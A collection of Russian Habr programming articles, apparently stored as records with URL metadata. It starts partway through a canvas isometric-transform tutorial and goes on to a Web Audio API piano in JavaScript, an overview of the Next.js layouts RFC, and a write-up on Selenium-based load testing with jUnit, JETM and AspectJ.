`m11, m22` — повторяют метод scale, изменяя размер отрысовываемых пикселей.
`m12, m21` — более интересные. Каждый пиксель (x,y) смещается на y\*m21 пикселей вправо и на x\*m12 пикселей вниз.Это значит, что при m21=1 каждая следующая строчка будет смещена на 1 пиксель вправо, относительно предыдущей.
### [Экспериментируем с setTransform](http://nutochka.github.com/transform/setTransform.html)
Метод transform действует точно также, но в отличии от setTransform не обнуляет каждый раз предыдущую трансформацию, а накладывается поверх неё. Что можно из этого получить?
Изометрическая карта
--------------------
Давайте из тайловой 2D-карты с видом сверху сделаем изометрическую с помощью простой трансформации. Самый простая фигура изометрической проекции — это ромб, в котором горизонтальная диагональ в два раза больше вертикальной (он шире в два раза чем выше). Его можно сделать в три шага.
Смещаем его вправо при помощи m21=1, поднимаем вверх при помощи m12=-0.5 и сплюскиваем при помощи m22=0.5 (вы можете по шагам повторить это в [песочнице](http://nutochka.github.com/transform/setTransform.html)).
Но это будет изометрическая проекция с углом 26,565° к горизонтали. Если мы хотим настоящую изометрическую проекцию с углом 30° — необходимо слегка сплюснуть его по ширине, изменив ширину ячейки по оси Х, что легко высчитать следующим методом:
Мы видим, что ячейка — это ромб ABCD с центром в точке O. Угол BAO — и есть угол, который надо из 26.6 сделать 30. Сейчас AO=BD, то есть высота равнобедренного трехугольника BAD равна его основе. Нам необходимо этот трехугольник сделать равносторонним (чтобы угол BAD стал равен 60 градусам), то есть уменьшить высоту на какой-то коэфициент. Допустим, AO = BD = 1 попугай. Тогда AO должна быть равна sqrt(AB2-BO2) = sqrt(1-0.25) = **0.866** попугая. Вот этот коэфициент мы и используем в нашей матрице:
```
ctx.setTransform(0.866, -0.5, 0.866, 0.5, 0, 0)
```
### [Смотрим, какая у нас получилась карта](http://nutochka.github.com/transform/isometric.html)
Надеюсь, все понятно описала. Задавайте вопросы, предлагайте, будем вместе пополнять топик. | https://habr.com/ru/post/104718/ | null | ru | null |
# Пианино в 24 строки на Javascript: если играть, то музыку
Пока производители телефонов меряются, у кого тоньше, программисты продолжают меряться, у кого короче.
Я тоже решил принять участие в этой ~~специальной~~ спонтанной олимпиаде кодерского мастерства, и вспомнил фразу одной моей подруги-музыканта: «Если уж играть, то на пианино». И решил: да будет так. Вместо игры напишу пианино. [И написал](http://jsfiddle.net/c62Pe/1/embedded/result/).
*Оговорюсь сразу: я ни разу не музыкант, моё музыкальное образование ограничивается десятком блатных песенок на расстроенной гитаре, так что, с терминологией могу и обязательно буду безбожно врать, но буду чертовски рад, если вы меня будете в этом поправлять.*
##### Итак, начнем.
Клавиатура классического фортепиано состоит из 88 клавиш, покрывающих диапазон от A0 (Ля суб-контр-октавы, частота звучания 27.5 Гц) до C8 (До пятой октавы, частота 4186 Гц). Каждая октава на клавиатуре состоит из двенадцати нот:
До, **До-диез**, Ре, **Ре-диез**, Ми, Фа, **Фа-диез**, Соль, **Соль-диез**, Ля, **Ля-диез/Си-бемоль**, Си. Жирным выделены клавиши верхнего ряда, они на клавиатуре обычно бывают черного цвета.
Собственно, вот так выглядит одна октава:
Просто взглянув на [таблицу частот звучания нот](http://www.gitaristam.ru/school/frequency.htm), становится очевидной закономерность: каждая последующая октава ровно вдвое выше предыдущей. Таким образом, можно сказать, что:
Nx = N1 × 2x-1, где:
* N – название ноты;
* x — номер октавы (от 0 до 8);
* Nx, соответственно, частота звука, соответствующая ноте N октавы x;
В формуле фигурирует N1 вместо N0 лишь потому, что часть нот суб-контр-октавы (N0) имеет частоту звучания ниже порога слышимости человеческим ухом (< 20 Hz).
Чтобы ноты получались чистыми, нам нужны достаточно точные значения частот нот контроктавы, от которой мы начинаем считать. Собственно, вот они:
C: 32.703,
С#: 34.648,
D: 36.708,
D#: 38.891,
E: 41.203,
F: 43.654,
F#: 46.249,
G: 48.999,
G#: 51.913,
A: 55,
A#: 58.27,
B: 61.735
Основываясь на этом, пишем функцию, принимающую в качестве аргумента строку с именем клавиши в виде `"A4"` или `"C5#"`, и возвращающую частоту её звучания:
```
function play(key) {
var controctave = {
'C': 32.703,
'С#': 34.648,
'D': 36.708,
'D#': 38.891,
'E': 41.203,
'F': 43.654,
'F#': 46.249,
'G': 48.999,
'G#': 51.913,
'A': 55,
'A#': 58.27,
'B': 61.735,
},
note = key[0].toUpperCase(),
octave = parseInt(key[1]),
sharp = key[2] == '#' ? true : false;
if (sharp) {
return controctave[note + '#'] * Math.pow(2, octave-1);
} else {
return controctave[note] * Math.pow(2, octave-1);
}
}
```
Ах, да, мы же пишем не красиво, а коротко. Немного подсократим:
```
function play(key) {
var controctave = { 'C': 32.703, 'С#': 34.648, 'D': 36.708, 'D#': 38.891, 'E': 41.203, 'F': 43.654, 'F#': 46.249, 'G': 48.999, 'G#': 51.913, 'A': 55, 'A#': 58.27, 'B': 61.735};
freq = key[2] == '#' ? controctave[key[0].toUpperCase() + '#'] * Math.pow(2, (key[1]|0) - 1) : controctave[key[0].toUpperCase()] * Math.pow(2, (key[1]|0) - 1);
return freq; }
```
Уже использовано четыре строчки кода.
##### Давайте нарисуем клавиатуру
88 клавиш клавиатуры начинаются с ноты Ля (A0).
Соответственно, цикл будет такой: в цикле рисуем по 12 клавиш, и каждую *вторую, четвертую, седьмую, девятую и одиннадцатую* делаем черной. Каждой клавише присвоим id, соответствующей ноте, которую она должна воспроизводить при нажатии.
В общем, так:
```
var width = 1000;
var deck = document.createElement('div'),
octave = ['A', 'A#', 'B', 'C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#'],
id = "",
keynumber = 0,
whitekeys = 0,
keys = [];
deck.style.width = width;
parent:
for (var i = 0; i < 8; i++) {
for (var j = 0; j < 12; j++) {
keynumber = (i * 12) + j;
if (keynumber >= 88) break parent;
keys[keynumber] = document.createElement('div');
keys[keynumber].style.border = "1px solid black";
keys[keynumber].style.position = "absolute";
id = (octave[j][1] == '#') ? octave[j] + i + 's' : octave[j] + i;
keys[keynumber].id = id;
switch(j%12) {
case 1:
case 3:
case 6:
case 8:
case 10:
keys[keynumber].style.backgroundColor = 'black';
keys[keynumber].style.left = ((width / 50 * whitekeys) - (width / 200)) + 'px';
keys[keynumber].style.width = width/100 + "px";
keys[keynumber].style.height = "200px";
keys[keynumber].style.zIndex = 10;
break;
default:
keys[keynumber].style.backgroundColor = 'white';
keys[keynumber].style.left = (width / 50 * whitekeys) + 'px';
keys[keynumber].style.width = width/50 + "px";
keys[keynumber].style.height = "300px";
whitekeys++;
}
deck.appendChild(keys[keynumber]);
}
}
document.body.appendChild(deck);
```
И вновь ~~превратим нормальный код в нечитабельное говнище~~ применим небольшую оптимизацию.
```
var width = 1000, octave = ['A', 'A#', 'B', 'C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#'], id = "", div, whitekeys=0, keys = [];
parent: for (var i = 0; i < 8; i++) {
for (var j = 0; j < 12; j++) {
if ((i * 12) + j >= 88) break parent;
div = document.createElement('div');
div.id = (octave[j][1] == '#') ? octave[j][0] + ((((i * 12) + j + 9) / 12)|0) + 's' : octave[j] + ((((i * 12) + j + 9) / 12)|0);
if (j % 12 == 1 || j % 12 == 4 || j % 12 == 6 || j % 12 == 9 || j % 12 == 11) {
div.setAttribute('style', 'border:1px solid black; position:absolute; background-color:black; left:' + ((width / 50 * whitekeys) - (width / 200)) + 'px; width:' + width/100 + 'px; height: 200px; z-index:1;');}
else {
div.setAttribute('style', 'border:1px solid black; position:absolute; background-color:white; left:' + (width / 50 * whitekeys) + 'px; width:' + width/50 + 'px; height:300px;');
whitekeys++;
}
document.body.appendChild(div);}}
```
Мы израсходовали ещё 13 строк.
##### Научим пианино издавать звуки
Для этого нам понадобится [Web Audio API](http://www.w3.org/TR/webaudio/), который на сей момент поддерживается только Webkit-based браузерами и Firefox.
Добавим в строку объявления глобальных переменных создание аудиоконтекста:
```
context = window.AudioContext ? new AudioContext() : new webkitAudioContext();
```
добавим обработчик нажатий на клавиши:
```
document.body.addEventListener('click', play);
```
а саму функцию play изменим следующим образом:
```
function play(e) {
var controctave = { 'C': 32.703, 'Cs': 34.648, 'D': 36.708, 'Ds': 38.891, 'E': 41.203, 'F': 43.654, 'Fs': 46.249, 'G': 48.999, 'Gs': 51.913, 'A': 55, 'As': 58.27, 'B': 61.735}, osc = context.createOscillator();
osc.frequency.value = e.target.id[2] == 's' ? controctave[e.target.id[0] + 's'] * Math.pow(2, (e.target.id[1]|0) - 1) : controctave[e.target.id[0]] * Math.pow(2, (e.target.id[1]|0) - 1);
osc.type = "square";
osc.connect(context.destination);
osc.start(0);
setTimeout(function() {
osc.stop(0);
osc.disconnect(context.destination);
}, 1000 / 2);}
```
Здесь мы создали осциллятор: `osc = context.createOscillator();`, установили ему необходимую частоту звучания: `osc.frequency.value = e.target.id[2] == 's' ? controctave[e.target.id[0] + 's'] * Math.pow(2, (e.target.id[1]|0) - 1) : controctave[e.target.id[0]] * Math.pow(2, (e.target.id[1]|0) - 1);` (ну, мы же не следим за чистотой и опрятностью кода, не так ли?), установили форму сигнала: `osc.type = "square";` (по умолчанию был синусоидальный) соединили его с устройством вывода звука: `osc.connect(context.destination);`, и дали команду начать воспроизведение: `osc.start(0);`. После этого нам необходимо заставить клавишу замолчать через некоторое время (500мс), а то она так и будет противно пищать. Для этого используем `osc.stop(0)`, завёрнутый в интервал. Обязательный элемент — `osc.disconnect(context.destination);` — отключаем осциллятор от устройства вывода.
Резюмируем: у нас получился вот такой нехитрый код:
```
var width = 1000, octave = ['A', 'A#', 'B', 'C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#'], id = "", div, whitekeys=0, keys = [],context = window.AudioContext ? new AudioContext() : new webkitAudioContext();
parent: for (var i = 0; i < 8; i++) {
for (var j = 0; j < 12; j++) {
if ((i * 12) + j >= 88) break parent;
div = document.createElement('div');
div.id = (octave[j][1] == '#') ? octave[j][0] + ((((i * 12) + j + 9) / 12)|0) + 's' : octave[j] + ((((i * 12) + j + 9) / 12)|0);
if (j % 12 == 1 || j % 12 == 4 || j % 12 == 6 || j % 12 == 9 || j % 12 == 11) {
div.setAttribute('style', 'border:1px solid black; position:absolute; background-color:black; left:' + ((width / 50 * whitekeys) - (width / 200)) + 'px; width:' + width/100 + 'px; height: 200px; z-index:1;');}
else {
div.setAttribute('style', 'border:1px solid black; position:absolute; background-color:white; left:' + (width / 50 * whitekeys) + 'px; width:' + width/50 + 'px; height:300px;');
whitekeys++;
}
document.body.appendChild(div);}}
document.body.addEventListener('click', play);
function play(e) {
var controctave = { 'C': 32.703, 'Cs': 34.648, 'D': 36.708, 'Ds': 38.891, 'E': 41.203, 'F': 43.654, 'Fs': 46.249, 'G': 48.999, 'Gs': 51.913, 'A': 55, 'As': 58.27, 'B': 61.735}, osc = context.createOscillator();
osc.frequency.value = e.target.id[2] == 's' ? controctave[e.target.id[0] + 's'] * Math.pow(2, (e.target.id[1]|0) - 1) : controctave[e.target.id[0]] * Math.pow(2, (e.target.id[1]|0) - 1);
osc.type = "square";
osc.connect(context.destination);
osc.start(0);
setTimeout(function() {
osc.stop(0);
osc.disconnect(context.destination);
}, 1000 / 2);}
```
В заключение хочу сказать, что ~~теперь меня надо называть Страдивари XXI века~~ Web Audio API — штука очень классная и интересная. Почитать про него можно, естественно, [на MDN](https://developer.mozilla.org/en-US/docs/Web_Audio_API), могу посоветовать [милый туториал на HTML5Rocks](http://www.html5rocks.com/en/tutorials/webaudio/intro/) и [ещё один забавный эксперимент](http://flippinawesome.org/2013/10/28/audio-synthesis-in-javascript/).
А пианино вышло жутко примитивное, но экспериментом я всё равно доволен. Надеюсь, вам тоже было интересно.
[Поиграть](http://jsfiddle.net/c62Pe/1/embedded/result/)
[Посмотреть код](http://jsfiddle.net/c62Pe/1/light/)
P.S. динамики макбука, например, отказываются издавать слышимые звуки вплоть до малой октавы (т.е. до 130 Гц), что неудивительно. В общем, не удивляйтесь, если левая часть клавиатуры будто бы вообще не звучит. | https://habr.com/ru/post/202646/ | null | ru | null |
# Next.js Layout RFC. Изменить всё и сделать веб ещё быстрее
Nextjs — самый быстрорастущий фреймворк. После создания, в 2016 году, было выпущено уже 12 обновлений, каждое из которых называлось компанией “крупнейшим”. 25 октября Vercel (*компания, владеющая Nextjs*) представит новый, 13 релиз, который, конечно же, вновь станет “крупнейшим”. Тем не менее, в этой статье речь пойдёт не конкретно о нём, а о действительно новом для компании процессе.
В мае этого года Nextjs неожиданно выпустил в своём блоге RFC (*request for comments*). В нём речь идёт, в первую очередь, о новой абстракции — layouts, а также о множестве связанных изменений, нацеленных на ускорение, улучшение DX и стандартизацию путём создания новых конвенций. Это рабочее предложение однозначно заслуживает внимания в меру своей громоздкости для фреймворка и потому, что буквально описывает его будущий вид.
### Основное
Запрос на комментарии (RFC) - это официальный документ, разработанный Технической рабочей группой по Интернету (IETF), в котором описываются спецификации для конкретной технологии. Когда RFC ратифицируется, он становится официальным документом о стандартах [[источник](https://ru.theastrologypage.com/request-comments)].
Подобные запросы есть у многих библиотек, в т.ч. и у React (<https://github.com/reactjs/rfcs/>), однако редко под них пишутся полноценные пресс-релизы. Nextjs описал своё видение, выпустив [статью в блоге](https://nextjs.org/blog/layouts-rfc) пять месяцев назад и дополнив его в сентябре. Также была создана [дискуссия в github](https://github.com/vercel/next.js/discussions/37136), в которой разработчикам предлагалось описать свои пожелания и замечания.
Данный запрос называют крупнейшим обновлением Nextjs. И, вероятно, это действительно так. Предлагается изменить структуру приложения и ввести новые абстракции, но обо всём по порядку.
### Структура
Все страницы предлагается хранить в папке “app”. Прежде они хранились по пути pages, в дальнейшем эта папка продолжит работать, однако с некоторыми ограничениями. Первое время Nextjs будет обрабатывать страницы из обоих каталогов, чтобы сохранить обратную совместимость и дать возможность постепенного переноса страниц. По поводу имени папки в дискуссии есть споры, в связи с тем, что данное имя уже могло использоваться в приложении. Вполне вероятно, что к релизу она будет переименована.
Другим изменением в именовании стало имя страниц и правило их расположения. Раньше было 2 варианта — внутри папки с index файлом (`/about/index.js`), и в качестве файла (`/about.js`). При этом, несмотря на вариант, страница всегда собиралась в качества файла (`/about.html`). В новом стандарте предлагается создавать под каждую страницу новую папка с файлом `page.js` (`/about/page.js`).
### Layout
Nextjs использует ряд абстракций, которые подвязываются к приложению автоматически — это \_app, \_document и \_middleware. Middleware был добавлен в 12 версии в качестве тестового api, а в последних минорных релизах был изменён и переименован в middleware (*без нижнего подчёркивания в начале*). \_app и \_document, используемые для разметки документа и шаблона для всех страниц предлагается удалить. Их роль возьмёт на себе новая абстракция, которой, в первую очередь и посвящено предложение — layout.
Отличием layout от \_document является то, что в layout на данный не работают стили. Частично эту проблему решит другое [RFC](https://github.com/vercel/next.js/discussions/27953), посвящённое добавлению поддержки глобальных стилей.
Layout делят на корневые, хранящиеся на верхнем уровне каталога app и дополнительные, хранящиеся в подкаталогах. В корневом будет описываться основная разметка — html, head и body, то есть фактически заменит \_document. Дополнительные будут описывать шаблоны внутри body для вложенных страниц.
Приятным отличием layout является то, что в них можно вызывать **getStaticProps** и **getServerSideProps** (*получать данные на этапе сборки или рендера страницы на сервере*) и передавать нужные данные каждой вложенной странице. Прежде можно было только вызывать **getInitialProps** в \_app, хоть и не рекомендовалось.
### Лоадеры
Рендер некоторых страниц, особенно в режиме серверного рендеринга и с получением данных может занимать длительное время. По умолчанию всё это время пользователь видит пустой белый экран. Это портит пользовательский опыт, а если занимает слишком много времени (*дольше 3 секунд*), то часто приводит к потере пользователя. Для того, чтобы пользовательский опыт становился приятнее в таких местах стоит использовать лоадеры и скелетоны, которые будут создавать видимость активности и доступности сайта.
В React для подобного все ленивые элементы можно обернуть в Suspense. В Nextjs предлагается создавать файл loading.js, которые будет содержать компонент загрузки. В конечном счёте это соберётся в тот-же Suspense, но при этом код страницы не засоряется множеством обёрток.
Интересно будет проверить, как этот функционал будет работать для поисковых роботов (*ведь без этого next сразу отдавал готовую статику и робот мог просканировать сайт без каких-либо проблем*).
### Страницы ошибок
На данный момент в Nextjs для ошибок в корне каталога страниц можно создать файлы 404.js, 502.js и \_error.js. То есть в статичном варианте только по одному варианту ошибки для всего приложения. Это было проблемой в том числе и для мультиязычных сайтов, в которых эту страницу нужно было как-то локализовывать. Также были ограничены возможности делать разные страницы ошибок для разделов (*например для блога с последними статьями и кнопкой вернуться на главную блога*).
В дальнейшем предлагается создавать файл error.js для любого каталога, который будет распространяться на все вложенные страницы.
### Группировка страниц
Нередко бывает, что для страниц на одном уровне используется два разных шаблона или страниц ошибок, например один набор для работы приложения, а другой для продуктовых страниц. Эта проблема в будущем будет решена благодаря группам страниц. Страницы объединяются в новый подкаталог, имя группы оборачивается в скобки “(product)”.
Если создать группы на верхнем уровне приложения, то в них можно делать разные корневые layout-ы.
### Перехватывающие роуты
Данный функционал обосновывается принципом работы социальных сетей, в которых при клике на новость открывается модальное окно, а когда делишься ссылкой, то пост открывается на всю страницу. Работает этот функционал перехватывая переходы внутри каталога.
Имена таких роутов начинаются с “`(..)`”, количество таких скобок в начале файла означает насколько высоко нужно подняться до нужного роута. Например, чтобы перехватить фотографии (`/photo/`) при открытии их со страницы статей (`/blog/post-name/`), внутри каталога статьи нужно создать каталог с именем `(..)(..)photo`. В нём может описать модальное окно и при переходе со страницы статьи откроется именно оно. Если поделиться ссылкой или перезагрузить страницу, то фотография откроется как обычная страница.
### Параллельные роуты
Подобные роуты могут быть использованы для страниц, состоящих из двух сложных и несвязанных между собой сегментов. Например, если страница состоит из блога в верхней половине и FAQ-а в нижней.
Для такой страницы нужно будет создать директорию с layout.js и сегментами, из которых она будет состоять. Для создания сегментов нужно создать подкаталог, имя которого будет начинаться с “`@`” (напр. `@posts` и `@faq`). Затем в layout в качестве пропсов будут доступны данные сегменты и их можно будет встроить в нужные части в разметке.
Внутри сегментов могут быть подстраницы и при переходе на них в layout-е будет заменяться сегмент, к которому она принадлежит. То есть, например можно создать страницу статьи (`/blog/@posts/some-post`) и при перехода не неё сегмент `@posts` будет замещён этой страницей, а сегмент `@faq` останется без изменений.
Однако при перезагрузке отображается только текущая страница (*сегмент @faq исчезает*). Вероятно это недоработка, но точно это будет известно лишь после полноценного выпуска всего предложения.
### Функционал React.js
Команда Next.js всегда подготавливается к будущим релизам react.js заранее. Так, поддержка react v18 появилась ещё до официального релиза версии, а серверные компоненты начали тестироваться ещё до их чёткого видения. В новом предложении помимо функционала Next.js, также описываются и серверные компоненты, которые теперь полноценно войдут в процесс.
По умолчанию все страницы будут рендериться в качестве серверных компонент. Также предлагается именовать клиентские и серверные файлы с расширениями .client.js и .server.js. При этом, React до сих пор не определился окончательно с тем, как именно будут определяться серверные и клиентские компоненты, но такой вариант был самым популярным и в Next решили стандартизировать именно так с оговоркой, что в случае изменений это будет изменено согласно принятым конвенциям.
### Выводы
Команда Next.js решила полностью изменить представления о приложении, внедрив целый ряд новых абстракций и отказавшись от старых. Ряд смелых изменений, способных решить множество задач, стоящих перед разработчиками. Если все эти изменения будут приняты и будут работать описанным образом, то станет очередным крупнейшим обновлением фреймворка и даст большой потенциал для дальнейшего развития.
Примитивный пример описанного в статье функционала можно посмотреть на [сайте](https://rfc.vordgi.com/) для данной статьи, его код расположен в [github](https://github.com/vordgi/next-layout-rfc). Куда более наглядный (*и качественный*) пример показан в [твите от Vercel](https://twitter.com/nextjs/status/1549841497822056454?s=20&t=SYYZtY8HcpNOkefedWHf3Q).
Уже 25 октября, в 19:30 CET (*20:30 МСК*), команда Vercel проведёт [конференцию](https://nextjs.org/conf/tickets/oct22/vordgi), на которой представит новый релиз Next.js. На ней однозначно пойдёт речь о данном RFC, но станет ли это частью следующей, 13-ой версии, в качестве готового к использованию функционала остаётся под вопросом. | https://habr.com/ru/post/695076/ | null | ru | null |
# Нагрузочное тестирование с помощью Selenium
#### Введение
В это статье я расскажу о применении инструмента изначально предназначенного для функционального тестирования при тестировании нагрузочном web части системы электронного документооборота (СЭД).
Зачем вообще это понадобилось? Мы преследовал две цели – введение автоматических тестов для наших web-приложений и создание нагрузочных тестов на основе функциональных тестов.
Почему для теста использовался именно Selenium, а не более подходящий инструмент – LoadRunner, jMeter? С помощью LoadRunner’s нагрузочный тест был проведён, но результаты были поставлены под сомнения – при эмуляции двухсот пользователей страницы загружалась за 2 секунды плюс-минус 2%, хотя при открытии этих же страниц из браузера отображение происходило более чем за 3 секунды. Так что хотелось провести нагрузочные тесты максимально приближенные к реальности, а это можно сделать только с помощью полной эмуляции поведения пользователя. Для этого как раз подходили инструменты для функционального тестирования с их работой с браузерами – сайт открывался бы через обычный браузер, т.е. так как делал бы это пользователь.
#### Про Selenium
Для функционального тестирования был выбран именно Selenium по простой причине – он лучший из бесплатных инструментов для функционального тестирования. Если точнее – у него хорошая поддержка удалённого управления (Selenium Server, Selenium Grid), много документации (в том числе и на русском языке ( [habrahabr.ru/post/151715](http://habrahabr.ru/post/151715/) [habrahabr.ru/post/152653](http://habrahabr.ru/post/152653/) ) и поддержка всех основных браузеров (хотя это уже больше заслуга WebDriver).
#### Общая архитектура
Приложение разделено на уровни (для наглядности на схеме элементы каждого уровня имеют осмысленные названия, а не просто Тест 1, Методы 2).
Первый уровень – уровень «запускальщика» тестов. Он просто запускает тесты. В настройках конфигурируется количество потоков, количество запусков теста, классы теста.
Второй уровень – сами тесты. Они выполняют бизнес операции – авторизируются, открывают списки документов, открывают документа, переходят по вкладкам документов.
Третий уровень – уровень работы с web-элементами. В нём содержаться атомарные пользовательские операции по работе с системой – открытие списка документов, переход к определённому документу, работа с вкладками документа.
Для начала перечисленных действий будет достаточно для обеспечения минимальной работы с системой. В дальнейшем они будут добавляться.
Разделение на эти уровни даёт следующее выгоду – можно запускать тесты как с «запускальщикам», так и без – просто запуск одного теста из среды разработки. Вынесение атомарных пользовательских операций на отдельный уровень позволит в дальнейшем отказаться от написания тестов на Java, а разработать свой DSL ( [ru.wikipedia.org/wiki/Предметно-ориентированный\_язык\_программирования](http://ru.wikipedia.org/wiki/Предметно-ориентированный_язык_программирования)) для того, что бы тесты могли писать любые люди.
#### Запуск тестов
Программа для запуска jUnit тестов довольно проста и состоит из трёх классов – класс, который выполняет указанные тесты в своём потоке; класс «слушателя» jUnit теста для подсчёта времени выполнения теста; класс для формирования потоков и их запуска.
Код Runner’а
```
final int threadCount = readThreadCount();
final int invocationCount = readInvocationCount();
final List testClasses = readTestClasses();
ExecutorService taskExecutor = Executors.newFixedThreadPool(threadCount);
for (int i = 0; i < threadCount; i++) {
taskExecutor.execute(new TestRunner(invocationCount, testClasses));
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(Long.MAX\_VALUE, TimeUnit.NANOSECONDS);
```
Код класса запускающего тесты
```
public class TestRunner implements Runnable {
public void run() {
JUnitCore jUnitRunner = new JUnitCore();
jUnitRunner.addListener(new TimeListener());
for (int i = 0; i < invocationCount; i++) {
for (Class clazz : testClasses) {
jUnitRunner.run(clazz);
}
Thread.sleep(invocationTimeOut);
}
}
}
```
Код listener’а
```
public class TimeListener extends RunListener {
private EtmPoint point;
public void testStarted(Description description) throws Exception {
point = EtmManager.getEtmMonitor().createPoint(description.getClassName() + "." + description.getMethodName(););
}
public void testFinished(Description description) throws Exception {
point.collect();
}
public void testFailure(Failure failure) throws Exception {
log.error("Error in test.", failure.getException());
}
}
```
#### Тесты
Тесты были написаны простые, но, тем не менее, отражающие работу пользователя – открытие списка документов, открытие карточки документа, переход по вкладкам карточки.
Для написания тестов использовался jUnit. Хотя также можно использовать TestNG, который поддерживает параллельный запуск тестов (а при нагрузочном тестировании это обязательное требование). Но выбран был именно jUnit по двум причинам: 1) в компании он широко распространён и давно используется 2) нужно было всё равно писать свой «запускальщик» который бы позволил, не изменяя тесты, запускать их в разных потоках (в TestNG параллельный запуск настраивается в самих тестах) и собирать статистику по их выполнению.
Помимо тестов были написаны дополнительные модули – pool webdriver’ов (здесь слово webdriver используется в терминологии Selenium’а), pool пользователей, pool документов, rule (в терминологии jUnit) по снятию скриншотов при ошибке, rule по выдаче webdriver тесту, rule авторизации.
Pool webdriver’ов – это класс, который управляет получением webdriver из сервера Selenium’а и распределяет их между тестами. Нужен для того, что бы абстрагировать работу с Selenium’ом – тесты будут получать webdriver’ы и отдавать их этому pool’у. Webdriver’ы при этом не закрываются (не вызывается метод close). Это нужно потому, что бы не перезапускать браузер. Т.е. таким образом получается «реиспользование» webdriver’ов другими тестами. Но повторное использование имеет свои минусы – при возвращении webdriver’а в pool нужно «подчистить» за собой – удалить все cookie или, если это сделать нельзя, выполнить logout.
Так же, как в последствии выяснилось, этот pool должен перезапускать webdriver’ы, сессия которых завершилась. Такое возможно, когда произошла ошибка на стороне сервера.
Pool пользователей нужен в основном при нагрузочном тестировании, когда нужно запускать одинаковые тесты под различными пользователями. Он всего лишь по кругу отдаёт логин/пароль очередного пользователя.
Pool документов, так же как и пользователей, нужен в основном при нагрузочной тестировании – он по кругу возвращает id документов определённого типа.
Rule по снятию скриншотов при ошибке, нужен, как следует из названия, снимать скриншот при ошибке выполнения теста. Он сохраняет его в папку и записывает в лог название скриншота со stacktrace’ом ошибки. Очень помогает в дальнейшем «увидеть» ошибку, а не только прочитать её в логах. ( [internetka.in.ua/selenium-rule-screenshot](http://internetka.in.ua/selenium-rule-screenshot/) )
Rule по выдаче webdriver’а тесту нужен для того, что бы автоматизировать получение перед началом тестового метода и возврат при его окончании webdriver’а из pool’а webdriver’ов.
Rule авторизации нужен так же для автоматизации, только теперь авторизации – что бы в каждом тестовом методе не писать login\logout.
#### Сбор статистики
Для сбора статистики было решено не изобретать велосипед, а использовать что-нибудь из готовых framework’ов. Поиск в интернете, к сожалению, не дал широкого выбора – всего один инструмент – JETM (http://jetm.void.fm/), да и он уже не изменялся с 2009 года. Хотя обладает хорошей документацией и небольшой плюсы – удалённое подключение по HTTP для просмотра статистики в реальном времени.
Код конфигурации монитора и запуска http-консоли:
```
BasicEtmConfigurator.configure();
EtmMonitor etmMonitor = EtmManager.getEtmMonitor();
etmMonitor.start();
HttpConsoleServer server = new HttpConsoleServer(etmMonitor);
server.start();
```
Сбор статистики происходил из двух мест – собиралось общее время выполнение тестовых методов (из уровня «запускальщика») и время выполнения атомарных пользовательских операций (из третьего уровня). Для решения первой проблемы использовался наследник RunListener’а, в котором переопределялись методы начала и окончания теста и в них собиралась информация о выполнении.
Решение второй проблемы можно было выполнить «в лоб» — в начале и конце каждого метода, время выполнения которого нужно записывать, писать код для отсчёта этого времени. Но так как методов уже сейчас больше пяти, а в дальнейшем их будет гораздо больше, то хотелось бы это автоматизировать. Для этого воспользовался AOP, а конкретно AspectJ. Был написан простой аспект, который добавлял подсчёт времени выполнения всех public методов из классов с пользовательскими операциями. Время подсчитывалось только успешно выполненных методов, что бы методы, вылетевшие с ошибкой на середине выполнения, не портили статистику. Так же обнаружился один недочёт при сборе статистики по названиям методов – так как методы по работе с пользовательскими операциями были универсальны и вызывались всеми тестами, но статистику нужно было собирать по типам документов. Поэтому статистика собиралась не только по названию методов, но ещё и по их аргументам, идентифицирующих тип документа.
Код метода аспекта
```
@Around("execution(public static * <Пакет с классами пользовательских операций>.*.*(..))")
public Object profileMethod(ProceedingJoinPoint thisJoinPoint) throws Throwable {
EtmPoint point = EtmManager.getEtmMonitor().createPoint(getPointName(thisJoinPoint));
Object result = thisJoinPoint.proceed();
point.collect();
return result;
}
```
Метод getPointName формирует название точки среза времени на основе названия метода и его параметров.
#### Браузеры для нагрузочного тестирования
После написания всех тестов встал вопрос, на каких браузерах его запускать. В случае функционального тестирования здесь всё просто – нужно запускать тесты на тех браузерах, на которых будут работать пользователи. Для нас это IE 9. Поэтому попробовал запустить тесты на IE с несколькими экземплярами браузера на машину, что бы один компьютер смог эмулировать работу нескольких пользователей (В Selenium один WebDriver – это один экземпляр браузера). В результате на моей машине (4Гб ОЗУ, 2.3 Core 2 Duo) нормально работало только 4 экземпляра IE. Что не очень хорошо – для эмуляции двухсот пользователей потребуется 50 машин. Нужно было искать альтернативу. А это: а) другие desktop браузеры б) headless браузеры.
Из desktop браузеров протестированы были FF и Chrome. С Chrome ситуация была аналогичная, плюс он для своей работы требовал запуска в отдельном процессе WebDriver’а на каждый экземпляр Chrome. Что повышало требования к ресурсам. С FF ситуация была чуть лучше – нормально работало 5 браузеров без дополнительного запуска WebDriver’ов. Но ситуацию это не сильно улучшило.
Тогда бы пришлось тестировать headless браузеры – браузеры, которые полностью работают с сайтом (строят DOM, выполняют JS), но не отображают его. По идее они должны работать быстрее. Из всех headless браузеров остановился на 2 – PhantomJS и HttpUnit. Перспективно выглядел PhantomJS, основанный на Webkit. Но по факту он ни чем не отличался от FF по потреблению ресурсов, но имел следующие минусы – иногда не находил элементы на странице и не корректно отображал сайт на скриншотах. Так что не удавалось понять, почему произошла ошибка. С HtmlUnit всё гораздо проще – его webdriver не поддерживал alert, а это для нашего web приложения было критично.
В итоге вернулись к использованию FF в нагрузочном тестировании. Хотя в нём тоже возникли проблемы с alert’ами – иногда возникали ошибки java.lang.Boolean cannot be cast to java.lang.String (java.lang.ClassCastException) (вот ссылка на ошибку в Google Code [code.google.com/p/selenium/issues/detail?id=3565](http://code.google.com/p/selenium/issues/detail?id=3565)). Исправить эту ошибку не получилось, но зато получилось отказаться совсем от alert’ов. Так что в дальнейшем можно попробовать опять использовать HtmlUnit. Хотя у всех headless браузеров есть одно общее неудобство, связанное с их спецификой, — они не отображают страницы и так просто нельзя понять, из-за чего произошла ошибка. Возможность снятия скриншота не сильно помогает – иногда он не информативен.
#### Конфигурация Selenium’а
